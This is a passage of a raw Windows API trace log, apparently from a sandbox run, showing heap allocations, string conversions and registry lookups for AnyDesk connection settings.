RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55788 [0194.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa08, cbMultiByte=-1, lpWideCharStr=0xe55788, cchWideChar=21 | out: lpWideCharStr="ad.anynet.boot_addrs") returned 21 [0194.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ac18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe559f0 [0194.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55788 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a28 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.803] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a60 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a98 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55ad0 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b08 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b40 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0194.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0194.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0194.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b9c0 [0194.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0xe4b9c0, cchWideChar=10 | out: lpWideCharStr="*.*.*.*:*") returned 10 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b9c0 | out: hHeap=0x3b0000) returned 1 [0194.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0194.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0xe54f88, cchWideChar=8 | out: lpWideCharStr="*.*.*.*") returned 8 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b40 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54f88 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b40 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55bb0 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54f88 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac88 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac88 [0194.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55bb0 | out: hHeap=0x3b0000) returned 1 [0194.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55bb0 [0194.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0194.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0194.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b08 | out: hHeap=0x3b0000) returned 1 [0194.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55b08 [0194.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0194.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55bb0 | out: hHeap=0x3b0000) returned 1 [0194.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55ad0 | out: hHeap=0x3b0000) returned 1 [0194.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a98 | out: hHeap=0x3b0000) returned 1 [0194.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a60 | out: hHeap=0x3b0000) returned 1 [0194.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11668 [0194.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55a60 [0194.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a98 [0194.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0194.810] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b08 | out: hHeap=0x3b0000) returned 1 [0194.810] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.810] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a28 | out: hHeap=0x3b0000) returned 1 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe582d8 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55788 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55a28 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0194.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b08 [0194.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0194.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b08 | out: hHeap=0x3b0000) returned 1 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54f88 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550d8 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b08 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550a8 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55090 [0194.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55180 [0194.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac38 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac38 | out: hHeap=0x3b0000) returned 1 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0194.813] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0194.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55ad0 [0194.814] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550d8 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54f88 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55198 [0194.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe551c8 [0194.814] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0194.814] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55ad0 | out: hHeap=0x3b0000) returned 1 [0194.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559f0 | out: hHeap=0x3b0000) returned 1 [0194.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a98 | out: hHeap=0x3b0000) returned 1 [0194.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a60 | out: hHeap=0x3b0000) returned 1 [0194.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11668 | out: hHeap=0x3b0000) returned 1 [0194.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55a28 | out: hHeap=0x3b0000) returned 1 [0194.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.817] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe55788 [0194.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce5c, cbMultiByte=-1, lpWideCharStr=0xe55788, cchWideChar=23 | out: lpWideCharStr="ad.anynet.conn_methods") returned 23 [0194.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x35) returned 0xe32838 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33528 [0194.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b9c0 [0194.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe55a28 [0194.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.819] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33558 [0194.819] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0194.819] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0194.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33558 | out: hHeap=0x3b0000) returned 1 [0194.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0194.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0194.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.820] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x35) returned 0xe32838 [0194.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33558 [0194.820] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0194.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0194.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4baa0 [0194.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe55a60 [0194.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0194.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0194.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33588 [0194.821] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0194.821] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0194.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33588 | out: hHeap=0x3b0000) returned 1 [0194.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x84) returned 0xe05420 [0194.821] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.822] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x84) returned 0xe054b0 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4ba80 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0194.822] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.822] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.822] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0194.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe550d8 [0194.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0194.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0194.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0194.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0194.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac18 [0194.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac18 | out: hHeap=0x3b0000) returned 1 [0194.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ba80 | out: hHeap=0x3b0000) returned 1 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe4ba80 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac18 [0194.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0194.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, 